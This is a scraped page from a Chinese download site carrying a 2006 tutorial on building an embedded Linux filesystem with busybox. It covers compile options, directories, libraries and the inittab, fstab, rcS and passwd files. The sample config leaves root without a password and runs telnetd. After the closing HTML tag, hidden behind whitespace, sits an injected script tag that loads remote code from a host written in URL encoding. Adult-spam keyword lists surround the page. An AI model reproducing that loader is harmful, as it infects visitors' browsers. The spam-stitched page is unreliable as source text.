亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 嵌入開發網--下載中心-用busybox制作嵌入式linux的文件系統.htm

?? S3C44B0X下的LCD (framebuffer)驅動資料與相關代碼
?? HTM
?? 第 1 頁 / 共 2 頁
字號:
  <TBODY>
  <TR height=18>
    <TD width="100%" bgColor=#ffffff><IMG height=11 
      src="嵌入開發網--下載中心-用busybox制作嵌入式Linux的文件系統.files/arrow2.gif" width=20 
      align=absMiddle> 當前位置: <A 
      href="http://www.embed.com.cn/downcenter/Article/index.htm">文章首頁</A>→<A 
      href="http://www.embed.com.cn/downcenter/Listing/Catalog29/Listing_indate_Desc_1.htm">軟件開發</A>→<A 
      href="http://www.embed.com.cn/downcenter/Listing/Catalog34/Listing_indate_Desc_1.htm">其它</A>→用busybox制作嵌入式Linux的文件系統 
    </TD></TR>
  <TR>
    <TD bgColor=#99ccff height=1></TD></TR></TBODY></TABLE>
<SCRIPT language=javascript>
function ContentFontSize(size)
{
	var obj=document.all.ContentLabel;
	obj.style.fontSize=size+"px";
}
</SCRIPT>

<TABLE class=TableBorder cellSpacing=0 cellPadding=3 width=770 align=center 
border=0>
  <TBODY>
  <TR>
    <TD align=middle height=25><FONT color=#ff0000 
      size=3><B>用busybox制作嵌入式Linux的文件系統</B></FONT> 
      <HR align=center width="96%" color=#eeeeee noShade SIZE=1>
      作者:  來源于:  發布時間:2006-11-30 9:13:00</TD></TR>
  <TR vAlign=top>
    <TD><SPAN id=ContentLabel 
      style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
      <P><STRONG>摘要</STRONG> 
      busybox是構建嵌入式Linux文件系統的必備軟件。本文以busybox最新的1.00版本為例,介紹這個軟件的配置和安裝,以及構建文件系統所必需的其他一些腳本文件的編寫方法。</P>
      <P><STRONG>關鍵詞</STRONG> busybox&nbsp; 嵌入式 Linux&nbsp; 文件系統&nbsp; 啟動腳本</P>
      <P>1busybox簡介<BR>熟悉嵌入式Linux的人對busybox一定不會陌生。它被非常形象地稱為嵌入式Linux系統中的“瑞士軍刀”,因為它將許多常用的UNIX命令和工具結合到了一個單獨的可執行程序中。雖然與相應的GNU工具比較起來,busybox所提供的功能和參數略少,但在比較小的系統(例如啟動盤)或者嵌入式系統中,已經足夠了。<BR>busybox在設計上就充分考慮了硬件資源受限的特殊工作環境。它采用一種很巧妙的辦法減少自己的體積:所有的命令都通過“插件”的方式集中到一個可執行文件中,在實際應用過程中通過不同的符號鏈接來確定到底要執行哪個操作。例如最終生成的可執行文件為busybox,當為它建立一個符號鏈接ls的時候,就可以通過執行這個新命令實現列目錄的功能。采用單一執行文件的方式最大限度地共享了程序代碼,甚至連文件頭、內存中的程序控制塊等其他操作系統資源都共享了,對于資源比較緊張的系統來說,真是最合適不過了。<BR>在busybox的編譯過程中,可以非常方便地加減它的“插件”,最后的符號鏈接也可以由編譯系統自動生成。下面就來一步步地用busybox從無到有地建立一個全新的Linux文件系統。<BR>2編譯busybox<BR>2004年10月中旬,busybox的1.00穩定版終于推出了,完整的源代碼可以從http://www.busybox.net下載,壓縮包大小為1.3 
      MB左右。將源碼解壓之后,進入到busybox1.00目錄中,運行make 
      menuconfig可以打開它的編譯界面。這個界面和Linux內核編譯有些接近,如圖1所示。<BR>在這個菜單界面中除了可以對最終編譯到可執行文件中的命令進行選擇外,還有很多其他設置也是非常重要的。下面三個目錄是很多人都會感興趣的:Build 
      Options ---&gt;<BR>Installation Options ---&gt;<BR>Login/Password 
      Management Utilities ---&gt;在Build Options里面有是否使用交叉編譯的選項(Do you want to 
      build BusyBox with a Cross 
      Compiler)。如果要對其他平臺進行編譯就要選擇它并設置相應的編譯程序前綴。<BR>在Installation 
      Options里面可以設置安裝的路徑,即設置為新文件系統的根目錄。當然也可以用缺省的 
      _install目錄,安裝之后再復制到新文件系統中去。<BR>在設置Login/Password Management 
      Utilities的時候,為了免去配置glibc的麻煩,最好設置使用busybox自己的password和shadow文件的功能(Use 
      internal password and group functions rather than system 
      functions)。<BR>busybox提供的命令無疑比較全面,但它的缺省配置還不能構成一個功能比較完備的文件系統。必須要添加的命令有Login/Password 
      Management 
      Utilities里面的getty、login和passwd,這些命令從前是由另外一個軟件包tinylogin所提供的。當然,如果不需要一個交互的登錄界面,這些命令也可以去掉。通過設定內核參數init=/bin/sh可以在系統啟圖1busybox的編譯配置界面動后直接得到一個shell。<BR>tlenetd命令是一個遠程登錄服務程序,把它編譯進busybox中會為將來的調試提供很多的方便。當然也可以通過串口終端的方式管理嵌入式設備,但網絡登錄的方式卻更為方便。<BR>設置完畢后保存、退出,執行make; 
      make 
      install命令,busybox將在未來的根文件系統中建立/usr、/bin、/sbin等目錄。從中可以看到,編譯好的busybox可執行文件和其他應用命令的符號鏈接。典型的busybox文件大小在動態鏈接的情況下是300 
      KB左右,靜態鏈接為800 KB左右,用它實現的文件系統完全可以控制在1 
      MB以下。但就目前為止,得到的還不是一個完整可用的文件系統,必須要在這個基礎上添加一些必要的文件,讓它可以工作。<BR>3完善文件系統<BR>3.1需要增加的文件<BR>參考一個正常的Linux系統就會發現,busybox建立的文件系統還缺少很多文件。下面三行命令建立了常見UNIX系統中包含的一些目錄,雖然它們不全是必需的,但建立它們更符合標準一些。這些命令都是在新文件系統的根目錄中執行的,第三條命令的執行還必須要有root權限。mkdir 
      mnt root var tmp proc boot etc lib<BR>mkdir 
      /var/{lock,log,mail,run,spool}<BR>chown 0:0R 
      *如果busybox采用了動態鏈接的方式編譯,還需要把busybox所需要的動態庫:libcrypt.so.1、libc.so.6、ldlinux.so.2放到lib目錄中。最好按照標準的方式建立相應的文件和鏈接,可以參考下面的列表:-rwxrwxrwx 
      192519ld-2.3.2.so<BR>lrwxrwxrwx 111ld-linux.so.2 -&gt; 
      ld-2.3.2.so<BR>-rwxrwxrwx 1 1190032libc-2.3.2.so<BR>lrwxrwxrwx 
      113libc.so.6 -&gt; libc-2.3.2.so<BR>-rwxr-xr-x 
      118348libcrypt-2.3.2.so<BR>lrwxrwxrwx 117libcrypt.so.1 -&gt; 
      libcrypt-2.3.2.so3.2編寫 
      etc文件夾下的文件<BR>etc文件夾是許多系統配置文件保存的地方。這些文件非常重要,如果配置錯誤,就可能影響系統的啟動。busybox源代碼example/bootfloopy/etc目錄中的文件算是一個簡單的例子,可以把其中的文件拷貝過來作為基礎。(在example/bootfloopy目錄中的一些腳本和文檔也很值得閱讀)<BR>首先inittab文件是系統啟動后所訪問的第一個腳本文件,后續啟動的文件都由它指定。這個文件的格式和普通微機Linux上的inittab是有區別的,其具體含義可以參考busybox的文檔。下面是一個比較簡單的例子:::sysinit:/etc/init.d/rcS<BR>tty0::respawn:/sbin/getty 
      38400 
      tty0<BR>tty2::askfirst:/bin/sh<BR>::ctrlaltdel:/sbin/reboot<BR>::shutdown:/bin/umount 
      ar<BR>::shutdown:/bin/mount / o 
      remount,ro其中第一行指定了系統的啟動腳本為/etc/init.d/rcS;第二行指定在第一個虛擬終端打開一個登錄會話;第三行指定在第三個虛擬終端打開一個無須登錄驗證的shell;第四行指定了當按下ctrl+alt+del組合鍵時的執行命令;最后兩行指定了關機時執行的操作。<BR>fstab文件定義了文件系統的各個“掛接點”,需要與實際的系統相配合。一個簡單的fstab文件如下:proc/procprocdefaults00<BR>/dev/hda1/ext2rw,noauto01<BR>devpts/dev/ptsdevptsdefaults00其中第三行是為UNIX 
      PTYs準備的,telnetd要用到。<BR>profile文件是終端登錄之后首先運行的腳本,這里可以不去管它。我們比較關心的是系統在無人登錄的情況下有哪些程序要執行。從inittab文件可以看出系統啟動之后要運行/etc/init.d/rcS腳本,需要啟動的程序和需要進行的設置都可以寫在這里面。一個可能的rcS文件如下:#! 
      /bin/sh<BR>echo e 'Starting System'<BR>ifconfig lo 127.0.0.1<BR>ifconfig 
      eth0 192.168.0.100<BR>hostname F /etc/hostname<BR>/bin/mount / o 
      remount,rw<BR>/bin/mount /proc<BR>/bin/mount 
      /dev/pts<BR>/usr/sbin/telnetd<BR>dmesg &gt; 
      /var/log/dmesg為了滿足終端登錄用戶驗證的要求,etc目錄下還需要有passwd、group和shadow 
      (在編譯busybox時如果不選擇shadow功能將不需要這個文件)。這些文件至少要包含 
      root用戶的定義,如下所示:passwd:<BR>root:x:0:0:root:/root:/bin/sh<BR>group:<BR>root:x:0:<BR>shadow:<BR>root::12179:0:99999:7:::其中,如果shadow 
      (對于不支持shadow的系統則是passwd 
      )文件的第一個冒號和第二個冒號之間沒有內容,表示這個用戶登錄不需要密碼。如果需要設定密碼或者增加新的登錄用戶,就可以參考開發主機上的相應文件,或者在目標系統啟動之后用passwd命令和adduser命令完成。<BR>最后還可以給目標機起一個名字,在/etc目錄下建立文件hostname,將起好的名字寫到里面。前面介紹的啟動腳本rcS,通過hostname命令把文件的內容設置為機器名。<BR>4測試新的文件系統<BR>文件系統的安裝隨著應用環境的不同差別比較大。在嵌入式環境中,一般只要通過特殊的打包工具將文件系統打包,并燒錄到非易失性存儲器中就可以了。例如,對于JFFS2類型的文件系統就可以用mkfs.jffs2命令生成文件系統的映像。<BR>文件系統安裝之后重新啟動目標設備,應該就可以使用新建立的文件系統了。如果系統啟動失敗,則可以通過內核消息查找錯誤的原因。如果錯誤信息提示不能正確掛載文件系統,問題可能出在啟動引導裝載程序(bootloader)上。文件系統比較容易出問題的是用戶的驗證和動態鏈接庫的加載。最簡單的檢測辦法是把busybox編譯為靜態鏈接并設置內核參數init=/bin/sh來躲開對用戶登錄的驗證。<BR>5總結<BR>一般構建文件系統的方式是從原有的文件系統進行剪裁和修補。其實使用最新的busybox制作全新的文件系統并不復雜,甚至更加簡便,對啟動腳本的配置也更加靈活和自由。<BR>參考文獻<BR>1busybox官方網站 
      <A 
      href="http://www.embed.com.cn/downcenter/Article/Catalog34/www.busybox.net" 
      target=_blank>http://www.embed.com.cn/downcenter/Article/Catalog34/www.busybox.net</A></P></SPAN></TD></TR>
  <TR>
    <TD align=right>
      <HR align=center width="96%" color=#eeeeee noShade SIZE=1>
      [
      <SCRIPT language=JavaScript 
      src="嵌入開發網--下載中心-用busybox制作嵌入式Linux的文件系統.files/Hits.htm"></SCRIPT>
      ] [<A href="javascript:history.go(-1)">返回上一頁</A>] [<A 
      href="http://www.embed.com.cn/downcenter/Sendmail.Asp?ID=354" 
      target=_blank>告訴好友</A>] [<A 
      href="http://www.embed.com.cn/downcenter/ArticleEssay.Asp?ID=354" 
      target=_blank>發表評論</A>] [<A href="javascript:window.print()">打 印</A>] [ 
      字體:<A href="javascript:ContentFontSize(16)">大</A> <A 
      href="javascript:ContentFontSize(14)">中</A> <A 
      href="javascript:ContentFontSize(12)">小</A> ]</TD></TR>
  <TR>
    <TD>上篇文章:<A 
      href="http://www.embed.com.cn/downcenter/Article/Catalog31/353.htm">數字電子簽名的概念及技術實現全面解析</A> <BR>下篇文章:<A 
      href="http://www.embed.com.cn/downcenter/Article/Catalog25/355.htm">51紅外遙控解碼(一)</A></TD></TR>
  <TR></TR></TBODY></TABLE>
<TABLE class=TableBorder cellSpacing=0 cellPadding=0 width=770 align=center 
border=0>
  <TBODY>
  <TR>
    <TD class=Border1><FONT color=#92a601><B>∷相關文章∷</B></FONT></TD></TR>
  <TR vAlign=top>
    <TD></TD></TR>
  <TR vAlign=top>
    <TD class=Border1><FONT color=#92a601><B>∷相關軟件∷</B></FONT></TD></TR>
  <TR vAlign=top>
    <TD></TD></TR></TBODY></TABLE><!--#HTTP結束部分表格-->
<TABLE class=TableBorder cellSpacing=0 cellPadding=0 width=770 align=center 
border=0>
  <TBODY>
  <TR>
    <TD style="COLOR: #000000" align=middle width="70%" 
    background=嵌入開發網--下載中心-用busybox制作嵌入式Linux的文件系統.files/foot_bg.gif 
      height=25>嵌入開發網下載中心Copyright &copy; 2000-2006 <A 
      href="http://www.embed.com.cn/" 
      target=_blank>http://www.embed.com.cn/</A>. All Rights Reserved .
      <SCRIPT language=javascript 
      src="嵌入開發網--下載中心-用busybox制作嵌入式Linux的文件系統.files/g2.htm"></SCRIPT>
       </TD>
    <TD style="COLOR: #000000" align=right width="30%" 
    background=嵌入開發網--下載中心-用busybox制作嵌入式Linux的文件系統.files/foot_bg.gif 
    height=25></TD></TR></TBODY></TABLE></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩一区二区三区不卡| 99精品欧美一区二区三区小说| 亚洲国产日韩av| 久久伊99综合婷婷久久伊| 中文字幕国产一区二区| 亚洲欧美日韩久久| 五月天精品一区二区三区| 韩国v欧美v亚洲v日本v| 制服.丝袜.亚洲.中文.综合| 中文av字幕一区| 美女高潮久久久| 91福利国产精品| 国产精品污网站| 国产精品原创巨作av| 欧美性xxxxxxxx| 亚洲人成亚洲人成在线观看图片| 蜜臀av性久久久久蜜臀aⅴ四虎 | 色综合婷婷久久| 久久影院电视剧免费观看| 亚洲午夜激情网站| 91色porny| 中文字幕在线观看不卡视频| 激情亚洲综合在线| 精品国产凹凸成av人导航| 国产精品麻豆99久久久久久| 国产91露脸合集magnet | 免费看日韩精品| 欧美午夜不卡在线观看免费| 国产精品久久久久久福利一牛影视 | 丁香一区二区三区| 久久嫩草精品久久久精品| 国产美女视频91| 国产精品久久久久婷婷| 色综合天天综合给合国产| 亚洲日本护士毛茸茸| 欧美日韩一区二区电影| 午夜精品在线视频一区| 精品蜜桃在线看| jizz一区二区| 午夜欧美大尺度福利影院在线看| 欧美日韩中文字幕精品| 亚洲人成精品久久久久久| 欧美三级电影精品| 国产一区中文字幕| 一区二区三区影院| 精品美女在线观看| 91黄色免费看| 国产中文字幕精品| 伊人一区二区三区| wwww国产精品欧美| 欧美日韩一级二级| 国产乱对白刺激视频不卡| 亚洲午夜国产一区99re久久| 国产午夜精品久久久久久免费视| 欧美色视频一区| av男人天堂一区| 亚洲国产高清在线观看视频| 欧美精品电影在线播放| 成人免费毛片嘿嘿连载视频| 午夜精品福利视频网站| 国产精品护士白丝一区av| 精品国产一区久久| 精品久久久久久久久久久久久久久| 日本黄色一区二区| 色综合天天综合给合国产| 成人av免费网站| av不卡在线播放| 成人激情综合网站| 国产激情视频一区二区在线观看| 日本aⅴ亚洲精品中文乱码| 亚洲综合色噜噜狠狠| 亚洲午夜久久久久| 亚洲成av人片观看| 另类综合日韩欧美亚洲| 国内精品国产成人国产三级粉色| 美国十次了思思久久精品导航| 毛片不卡一区二区| 韩国成人在线视频| 成人性视频免费网站| 99久久99久久综合| 日本精品视频一区二区| 欧美一级夜夜爽| 久久精品一区蜜桃臀影院| 久久九九久久九九| 国产精品视频看| 亚洲成人激情av| 激情综合色综合久久| caoporn国产一区二区| 欧美亚洲动漫另类| 精品国产成人系列| 亚洲欧美偷拍三级| 精品一区二区三区在线观看国产| 国产馆精品极品| 欧美久久一二区| 久久久综合视频| 喷水一区二区三区| av欧美精品.com| 久久综合色之久久综合| 亚洲人一二三区| 国产91精品精华液一区二区三区 | 国产在线一区观看| 欧美综合一区二区| 日韩理论片在线| 国产成人在线视频网址| 日韩一区二区在线看片| 亚洲乱码国产乱码精品精的特点 | 一区二区三区欧美在线观看| 国内精品写真在线观看| 欧美tickling挠脚心丨vk| 亚洲欧美二区三区| 99国产精品99久久久久久| 久久久久高清精品| 国产成人在线视频播放| 久久久久久久综合| 国产精品自在欧美一区| 2020国产精品| 国产黄色成人av| 欧美国产日本韩| 91在线免费播放| 中文字幕亚洲在| 91农村精品一区二区在线| 亚洲免费在线视频一区 二区| 色综合视频一区二区三区高清| 中文字幕在线不卡一区二区三区 | 亚洲美腿欧美偷拍| 欧美午夜在线一二页| 亚洲第一在线综合网站| 欧美日韩精品电影| 国产高清久久久久| 玉米视频成人免费看| 51精品久久久久久久蜜臀| 精品一区二区三区在线播放视频 | 在线综合视频播放| 麻豆传媒一区二区三区| 国产精品美女久久久久久| 在线观看精品一区| 国产综合色产在线精品| 亚洲在线观看免费视频| 欧美精品一区二区三区很污很色的 | 国产精品一级片| 亚洲不卡在线观看| 国产精品系列在线| 精品久久国产老人久久综合| 成人激情综合网站| 国产综合成人久久大片91| 亚洲激情成人在线| 亚洲欧洲性图库| 精品国产99国产精品| 欧美一区二区三区系列电影| 9l国产精品久久久久麻豆| 国产精一品亚洲二区在线视频| 婷婷中文字幕一区三区| 亚洲综合成人在线| 91丨porny丨首页| 欧美精品久久久久久久多人混战| 欧美一个色资源| 欧美视频在线播放| 欧美日韩一区二区三区免费看| 欧美电影精品一区二区| 久久精品99国产精品| 91精品国产aⅴ一区二区| 国产揄拍国内精品对白| 免费三级欧美电影| 午夜视频一区在线观看| 婷婷综合久久一区二区三区| 一区二区三区 在线观看视频| 中文字幕一区二区三区四区不卡| 日本一区免费视频| 综合久久久久久| 亚洲黄网站在线观看| 一区二区免费在线| 亚洲第一成年网| 裸体歌舞表演一区二区| 久久99精品久久久久久久久久久久| 蜜桃91丨九色丨蝌蚪91桃色| 美国毛片一区二区| 波多野结衣91| 欧美在线免费观看视频| 欧美精品777| 国产亚洲一本大道中文在线| 国产精品欧美久久久久一区二区| 中文字幕一区二区三区在线播放| 亚洲精品一卡二卡| 久久精品国产一区二区三区免费看 | 美女视频第一区二区三区免费观看网站| 日韩精品高清不卡| www.欧美亚洲| 日韩视频一区二区| 中文字幕视频一区二区三区久| 亚洲成人av电影| 成人免费视频国产在线观看| 91精品国产乱| 亚洲女同ⅹxx女同tv| 国产在线精品一区二区三区不卡 | 亚洲免费av观看| 日本va欧美va精品| 91老司机福利 在线| 久久九九久精品国产免费直播| 亚洲一区二区影院| 99vv1com这只有精品|